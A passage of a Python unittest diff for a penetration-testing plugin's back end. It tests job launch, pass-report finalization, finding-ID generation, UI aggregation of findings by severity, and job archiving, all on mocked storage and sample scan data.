self._build_mock_plugin(job_id="test-job-4") + self._launch(plugin, start_port=1, end_port=100) + + job_specs = self._extract_job_specs(plugin, "test-job-4") + self.assertIsNotNone(job_specs) + + self.assertIn("pass_reports", job_specs) + self.assertEqual(job_specs["pass_reports"], []) + self.assertNotIn("pass_history", job_specs) + + def test_launch_fails_if_r1fs_unavailable(self): + """If R1FS fails to store config, launch aborts with error.""" + plugin = self._build_mock_plugin(job_id="test-job-5", r1fs_cid=None) + result = self._launch(plugin, start_port=1, end_port=100) + + self.assertIn("error", result) + # CStore should NOT have been written with the job + job_specs = self._extract_job_specs(plugin, "test-job-5") + self.assertIsNone(job_specs) + + + +class TestPhase2PassFinalization(unittest.TestCase): + """Phase 2: Single Aggregation + Consolidated Pass Reports.""" + + @classmethod + def _mock_plugin_modules(cls): + """Install mock modules so pentester_api_01 can be imported without naeural_core.""" + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_finalize_plugin(self, job_id="test-job", job_pass=1, run_mode="SINGLEPASS", + llm_enabled=False, r1fs_returns=None): + """Build a mock plugin pre-configured for _maybe_finalize_pass testing.""" + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.cfg_llm_agent_api_enabled = llm_enabled + plugin.cfg_llm_agent_api_host = "localhost" + plugin.cfg_llm_agent_api_port = 8080 + plugin.cfg_llm_agent_api_timeout = 30 + plugin.cfg_llm_auto_analysis_type = "security_assessment" + plugin.cfg_monitor_interval = 60 + plugin.cfg_monitor_jitter = 0 + plugin.cfg_attestation_min_seconds_between_submits = 300 + plugin.time.return_value = 1000100.0 + plugin.json_dumps.return_value = "{}" + + # R1FS mock + plugin.r1fs = MagicMock() + cid_counter = {"n": 0} + def fake_add_json(data, show_logs=True): + cid_counter["n"] += 1 + if r1fs_returns is not None: + return r1fs_returns.get(cid_counter["n"], f"QmCID{cid_counter['n']}") + return f"QmCID{cid_counter['n']}" + plugin.r1fs.add_json.side_effect = fake_add_json + + # Job config in R1FS + plugin.r1fs.get_json.return_value = { + "target": "example.com", "start_port": 1, "end_port": 1024, + "run_mode": run_mode, "enabled_features": [], "monitor_interval": 60, + } + + # Build job_specs with two finished workers + job_specs = { + "job_id": job_id, + "job_status": "RUNNING", + "job_pass": job_pass, + "run_mode": run_mode, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 0, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, + "worker-B": {"start_port": 513, "end_port": 1024, "finished": True, "report_cid": "QmReportB"}, + }, + "timeline": [{"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}], + "pass_reports": [], + } + + plugin.chainstore_hgetall.return_value = {job_id: job_specs} + plugin.chainstore_hset = MagicMock() + + return plugin, job_specs + + def _sample_node_report(self, start_port=1, end_port=512, open_ports=None, findings=None): + """Build a sample node report dict.""" + report = { + "start_port": start_port, + "end_port": end_port, + "open_ports": open_ports or [80, 443], + "ports_scanned": end_port - start_port + 1, + "nr_open_ports": len(open_ports or [80, 443]), + "service_info": {}, + "web_tests_info": {}, + "completed_tests": ["port_scan"], + "port_protocols": {"80": "http", "443": "https"}, + "port_banners": {}, + "correlation_findings": [], + } + if findings: + # Add findings under service_info for port 80 + report["service_info"] = { + "80": { + "_service_info_http": { + "findings": findings, + } + } + } + return report + + def test_single_aggregation(self): + """_collect_node_reports called exactly once per pass finalization.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + # Mock _collect_node_reports and _get_aggregated_report + report_a = self._sample_node_report(1, 512, [80]) + report_b = self._sample_node_report(513, 1024, [443]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a, "worker-B": report_b}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, + "completed_tests": ["port_scan"], "ports_scanned": 1024, + "nr_open_ports": 2, "port_protocols": {"80": "http", "443": "https"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com", "monitor_interval": 60}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # _collect_node_reports called exactly once + plugin._collect_node_reports.assert_called_once() + + def test_pass_report_cid_in_r1fs(self): + """PassReport stored in R1FS with correct fields.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {"findings_score": 5}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # r1fs.add_json called twice: once for aggregated data, once for PassReport + self.assertEqual(plugin.r1fs.add_json.call_count, 2) + + # Second call is the PassReport + pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertEqual(pass_report_dict["pass_nr"], 1) + self.assertIn("aggregated_report_cid", pass_report_dict) + self.assertIn("worker_reports", pass_report_dict) + self.assertEqual(pass_report_dict["risk_score"], 10) + self.assertIn("risk_breakdown", pass_report_dict) + self.assertIn("date_started", pass_report_dict) + self.assertIn("date_completed", pass_report_dict) + + def test_aggregated_report_separate_cid(self): + """aggregated_report_cid is a separate R1FS write from the PassReport.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: "QmPassCID"}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # First R1FS write = aggregated data, second = PassReport + agg_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + pass_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + + # The PassReport references the aggregated CID + self.assertEqual(pass_dict["aggregated_report_cid"], "QmAggCID") + + # Aggregated data should have open_ports (from AggregatedScanData) + self.assertIn("open_ports", agg_dict) + + def test_finding_id_deterministic(self): + """Same input produces same finding_id; different title produces different id.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_service_info_http": { + "findings": [ + {"title": "SQL Injection", "severity": "HIGH", "cwe_id": "CWE-89", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + risk1, findings1 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + risk2, findings2 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + + self.assertEqual(findings1[0]["finding_id"], findings2[0]["finding_id"]) + + # Different title → different finding_id + aggregated2 = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_service_info_http": { + "findings": [ + {"title": "XSS Vulnerability", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + _, findings3 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated2) + self.assertNotEqual(findings1[0]["finding_id"], findings3[0]["finding_id"]) + + def test_finding_id_cwe_collision(self): + """Same CWE, different title, same port+probe → different finding_ids.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_web_test_xss": { + "findings": [ + {"title": "Reflected XSS in search", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, + {"title": "Stored XSS in comment", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 2) + self.assertNotEqual(findings[0]["finding_id"], findings[1]["finding_id"]) + + def test_finding_enrichment_fields(self): + """Each finding has finding_id, port, protocol, probe, category.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [443], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"443": "https"}, + "service_info": { + "443": { + "_service_info_ssl": { + "findings": [ + {"title": "Weak TLS", "severity": "MEDIUM", "cwe_id": "CWE-326", "confidence": "certain"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 1) + f = findings[0] + self.assertIn("finding_id", f) + self.assertEqual(len(f["finding_id"]), 16) # 16-char hex + self.assertEqual(f["port"], 443) + self.assertEqual(f["protocol"], "https") + self.assertEqual(f["probe"], "_service_info_ssl") + self.assertEqual(f["category"], "service") + + def test_port_protocols_none(self): + """port_protocols is None → protocol defaults to 'unknown' (no crash).""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [22], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": None, + "service_info": { + "22": { + "_service_info_ssh": { + "findings": [ + {"title": "Weak SSH key", "severity": "LOW", "cwe_id": "CWE-320", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 1) + self.assertEqual(findings[0]["protocol"], "unknown") + + def test_llm_success_no_llm_failed(self): + """LLM succeeds → llm_failed absent from serialized PassReport.""" + from extensions.business.cybersec.red_mesh.models import PassReport + + pr = PassReport( + pass_nr=1, date_started=1000.0, date_completed=1100.0, duration=100.0, + aggregated_report_cid="QmAgg", + worker_reports={}, + risk_score=50, + llm_analysis="# Analysis\nAll good.", + quick_summary="No critical issues found.", + llm_failed=None, # success + ) + d = pr.to_dict() + self.assertNotIn("llm_failed", d) + self.assertEqual(d["llm_analysis"], "# Analysis\nAll good.") + + def test_llm_failure_flag_and_timeline(self): + """LLM fails → llm_failed: True, timeline event added.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin(llm_enabled=True) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + # LLM returns None (failure) + plugin._run_aggregated_llm_analysis = MagicMock(return_value=None) + plugin._run_quick_summary_analysis = MagicMock(return_value=None) + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # Check PassReport has llm_failed=True + pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertTrue(pass_report_dict.get("llm_failed")) + + # Check timeline event was emitted for llm_failed + llm_failed_calls = [ + c for c in plugin._emit_timeline_event.call_args_list + if c[0][1] == "llm_failed" + ] + self.assertEqual(len(llm_failed_calls), 1) + # _emit_timeline_event(job_specs, "llm_failed", label, meta={"pass_nr": ...}) + call_kwargs = llm_failed_calls[0][1] # keyword args + meta = call_kwargs.get("meta", {}) + self.assertIn("pass_nr", meta) + + def test_aggregated_report_write_failure(self): + """R1FS fails for aggregated → pass finalization skipped, no partial state.""" + PentesterApi01Plugin = self._get_plugin_class() + # First R1FS write (aggregated) returns None = failure + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: None, 2: "QmPassCID"}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore should NOT have pass_reports appended + self.assertEqual(len(job_specs["pass_reports"]), 0) + # CStore hset was called for intermediate status updates (COLLECTING, ANALYZING, FINALIZING) + # but NOT for finalization — verify job_status is NOT FINALIZED in the last write + for call_args in plugin.chainstore_hset.call_args_list: + value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None + if isinstance(value, dict): + self.assertNotEqual(value.get("job_status"), "FINALIZED") + + def test_pass_report_write_failure(self): + """R1FS fails for pass report → CStore pass_reports not appended.""" + PentesterApi01Plugin = self._get_plugin_class() + # First R1FS write (aggregated) succeeds, second (pass report) fails + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: None}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore should NOT have pass_reports appended + self.assertEqual(len(job_specs["pass_reports"]), 0) + # CStore hset was called for status updates but NOT for finalization + for call_args in plugin.chainstore_hset.call_args_list: + value = call_args.kwargs.get("value") or call_args[1].get("value") if len(call_args) > 1 else None + if isinstance(value, dict): + self.assertNotEqual(value.get("job_status"), "FINALIZED") + + def test_cstore_risk_score_updated(self): + """After pass, risk_score on CStore matches pass result.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 42, "breakdown": {"findings_score": 30}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore risk_score updated + self.assertEqual(job_specs["risk_score"], 42) + + # PassReportRef in pass_reports has same risk_score + self.assertEqual(len(job_specs["pass_reports"]), 1) + ref = job_specs["pass_reports"][0] + self.assertEqual(ref["risk_score"], 42) + self.assertIn("report_cid", ref) + self.assertEqual(ref["pass_nr"], 1) + + + +class TestPhase4UiAggregate(unittest.TestCase): + """Phase 4: UI Aggregate Computation.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _make_plugin(self): + plugin = MagicMock() + Plugin = self._get_plugin_class() + plugin._count_services = lambda si: Plugin._count_services(plugin, si) + plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) + plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER + plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER + return plugin, Plugin + + def _make_finding(self, severity="HIGH", confidence="firm", finding_id="abc123", title="Test"): + return {"finding_id": finding_id, "severity": severity, "confidence": confidence, "title": title} + + def _make_pass(self, pass_nr=1, findings=None, risk_score=0, worker_reports=None): + return { + "pass_nr": pass_nr, + "risk_score": risk_score, + "risk_breakdown": {"findings_score": 10}, + "quick_summary": "Summary text", + "findings": findings, + "worker_reports": worker_reports or { + "w1": {"start_port": 1, "end_port": 512, "open_ports": [80]}, + }, + } + + def _make_aggregated(self, open_ports=None, service_info=None): + return { + "open_ports": open_ports or [80, 443], + "service_info": service_info or { + "80": {"_service_info_http": {"findings": []}}, + "443": {"_service_info_https": {"findings": []}}, + }, + } + + def test_findings_count_uppercase_keys(self): + """findings_count keys are UPPERCASE.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="CRITICAL", finding_id="f1"), + self._make_finding(severity="HIGH", finding_id="f2"), + self._make_finding(severity="HIGH", finding_id="f3"), + self._make_finding(severity="MEDIUM", finding_id="f4"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + fc = result.to_dict()["findings_count"] + self.assertEqual(fc["CRITICAL"], 1) + self.assertEqual(fc["HIGH"], 2) + self.assertEqual(fc["MEDIUM"], 1) + for key in fc: + self.assertEqual(key, key.upper()) + + def test_top_findings_max_10(self): + """More than 10 CRITICAL+HIGH -> capped at 10.""" + plugin, _ = self._make_plugin() + findings = [self._make_finding(severity="CRITICAL", finding_id=f"f{i}") for i in range(15)] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + self.assertEqual(len(result.to_dict()["top_findings"]), 10) + + def test_top_findings_sorted(self): + """CRITICAL before HIGH, within same severity sorted by confidence.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="HIGH", confidence="certain", finding_id="f1", title="H-certain"), + self._make_finding(severity="CRITICAL", confidence="tentative", finding_id="f2", title="C-tentative"), + self._make_finding(severity="HIGH", confidence="tentative", finding_id="f3", title="H-tentative"), + self._make_finding(severity="CRITICAL", confidence="certain", finding_id="f4", title="C-certain"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + top = result.to_dict()["top_findings"] + self.assertEqual(top[0]["title"], "C-certain") + self.assertEqual(top[1]["title"], "C-tentative") + self.assertEqual(top[2]["title"], "H-certain") + self.assertEqual(top[3]["title"], "H-tentative") + + def test_top_findings_excludes_medium(self): + """MEDIUM/LOW/INFO findings never in top_findings.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="MEDIUM", finding_id="f1"), + self._make_finding(severity="LOW", finding_id="f2"), + self._make_finding(severity="INFO", finding_id="f3"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertNotIn("top_findings", d) # stripped by _strip_none (None) + + def test_finding_timeline_single_pass(self): + """1 pass -> finding_timeline is None (stripped).""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertNotIn("finding_timeline", d) # None → stripped + + def test_finding_timeline_multi_pass(self): + """3 passes with overlapping findings -> correct first_seen, last_seen, pass_count.""" + plugin, _ = self._make_plugin() + f_persistent = self._make_finding(finding_id="persist1") + f_transient = self._make_finding(finding_id="transient1") + f_new = self._make_finding(finding_id="new1") + passes = [ + self._make_pass(pass_nr=1, findings=[f_persistent, f_transient]), + self._make_pass(pass_nr=2, findings=[f_persistent]), + self._make_pass(pass_nr=3, findings=[f_persistent, f_new]), + ] + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate(passes, agg) + ft = result.to_dict()["finding_timeline"] + self.assertEqual(ft["persist1"]["first_seen"], 1) + self.assertEqual(ft["persist1"]["last_seen"], 3) + self.assertEqual(ft["persist1"]["pass_count"], 3) + self.assertEqual(ft["transient1"]["first_seen"], 1) + self.assertEqual(ft["transient1"]["last_seen"], 1) + self.assertEqual(ft["transient1"]["pass_count"], 1) + self.assertEqual(ft["new1"]["first_seen"], 3) + self.assertEqual(ft["new1"]["last_seen"], 3) + self.assertEqual(ft["new1"]["pass_count"], 1) + + def test_zero_findings(self): + """findings_count is {}, top_findings is [], total_findings is 0.""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertEqual(d["total_findings"], 0) + # findings_count and top_findings are None (stripped) when empty + self.assertNotIn("findings_count", d) + self.assertNotIn("top_findings", d) + + def test_open_ports_sorted_unique(self): + """total_open_ports is deduped and sorted.""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated(open_ports=[443, 80, 443, 22, 80]) + result = plugin._compute_ui_aggregate([p], agg) + self.assertEqual(result.to_dict()["total_open_ports"], [22, 80, 443]) + + def test_count_services(self): + """_count_services counts ports with at least one detected service.""" + plugin, _ = self._make_plugin() + service_info = { + "80": {"_service_info_http": {}, "_web_test_xss": {}}, + "443": {"_service_info_https": {}, "_service_info_http": {}}, + } + self.assertEqual(plugin._count_services(service_info), 2) + self.assertEqual(plugin._count_services({}), 0) + self.assertEqual(plugin._count_services(None), 0) + + + +class TestPhase3Archive(unittest.TestCase): + """Phase 3: Job Close & Archive.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGLEPASS", + job_status="FINALIZED", r1fs_write_fail=False, r1fs_verify_fail=False): + """Build a mock plugin pre-configured for _build_job_archive testing.""" + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.time.return_value = 1000200.0 + plugin.json_dumps.return_value = "{}" + + # R1FS mock + plugin.r1fs = MagicMock() + + # Build pass report dicts and refs + pass_reports_data = [] + pass_report_refs = [] + for i in range(1, pass_count + 1): + pr = { + "pass_nr": i, + "date_started": 1000000.0 + (i - 1) * 100, + "date_completed": 1000000.0 + i * 100, + "duration": 100.0, + "aggregated_report_cid": f"QmAgg{i}", + "worker_reports": { + "worker-A": {"report_cid": f"QmWorker{i}A", "start_port": 1, "end_port": 512, "ports_scanned": 512, "open_ports": [80], "nr_findings": 2}, + }, + "risk_score": 25 + i, + "risk_breakdown": {"findings_score": 10}, + "findings": [ + {"finding_id": f"f{i}a", "severity": "HIGH", "confidence": "firm", "title": f"Finding {i}A"}, + {"finding_id": f"f{i}b", "severity": "MEDIUM", "confidence": "firm", "title": f"Finding {i}B"}, + ], + "quick_summary": f"Summary for pass {i}", + } + pass_reports_data.append(pr) + pass_report_refs.append({"pass_nr": i, "report_cid": f"QmPassReport{i}", "risk_score": 25 + i}) + + # Job config + job_config = { + "target": "example.com", "start_port": 1, "end_port": 1024, + "run_mode": run_mode, "enabled_features": [], + } + + # Latest aggregated data + latest_aggregated = { + "open_ports": [80, 443], "service_info": {"80": {"_service_info_http": {}}}, + "web_tests_info": {}, "completed_tests": ["port_scan"], "ports_scanned": 1024, + } + + # R1FS get_json: return the right data for each CID + cid_map = {"QmConfigCID": job_config} + for i, pr in enumerate(pass_reports_data): + cid_map[f"QmPassReport{i+1}"] = pr + cid_map[f"QmAgg{i+1}"] = latest_aggregated + + if r1fs_write_fail: + plugin.r1fs.add_json.return_value = None + else: + archive_cid = "QmArchiveCID" + plugin.r1fs.add_json.return_value = archive_cid + if r1fs_verify_fail: + # add_json succeeds but get_json for the archive CID returns None + orig_map = dict(cid_map) + def verify_fail_get(cid): + if cid == archive_cid: + return None + return orig_map.get(cid) + plugin.r1fs.get_json.side_effect = verify_fail_get + else: + # Verification succeeds — archive CID also returns data + cid_map[archive_cid] = {"job_id": job_id} # minimal archive for verification + plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) + + if not r1fs_write_fail and not r1fs_verify_fail: + plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) + + # Job specs (running state) + job_specs = { + "job_id": job_id, + "job_status": job_status, + "job_pass": pass_count, + "run_mode": run_mode, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 25 + pass_count, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, + }, + "timeline": [ + {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}, + ], + "pass_reports": pass_report_refs, + } + + plugin.chainstore_hset = MagicMock() + + # Bind real methods for archive building + Plugin = self._get_plugin_class() + plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) + plugin._count_services = lambda si: Plugin._count_services(plugin, si) + plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER + plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER + + return plugin, job_specs, pass_reports_data, job_config + + def test_archive_written_to_r1fs(self): + """Archive stored in R1FS with job_id, job_config, passes, ui_aggregate.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, job_config = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # r1fs.add_json called with archive dict + self.assertTrue(plugin.r1fs.add_json.called) + archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertEqual(archive_dict["job_id"], "test-job") + self.assertEqual(archive_dict["job_config"]["target"], "example.com") + self.assertEqual(len(archive_dict["passes"]), 1) + self.assertIn("ui_aggregate", archive_dict) + self.assertIn("total_open_ports", archive_dict["ui_aggregate"]) + + def test_archive_duration_computed(self): + """duration == date_completed - date_created, not 0.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + # date_created=1000000, time()=1000200 → duration=200 + self.assertEqual(archive_dict["duration"], 200.0) + self.assertGreater(archive_dict["duration"], 0) + + def test_stub_has_job_cid_and_config_cid(self): + """After prune, CStore stub has job_cid and job_config_cid.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # Extract the stub written to CStore + hset_call = plugin.chainstore_hset.call_args + stub = hset_call[1]["value"] + self.assertEqual(stub["job_cid"], "QmArchiveCID") + self.assertEqual(stub["job_config_cid"], "QmConfigCID") + + def test_stub_fields_match_model(self): + """Stub has exactly CStoreJobFinalized fields.""" + from extensions.business.cybersec.red_mesh.models import CStoreJobFinalized + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + stub = plugin.chainstore_hset.call_args[1]["value"] + # Verify it can be loaded into CStoreJobFinalized + finalized = CStoreJobFinalized.from_dict(stub) + self.assertEqual(finalized.job_id, "test-job") + 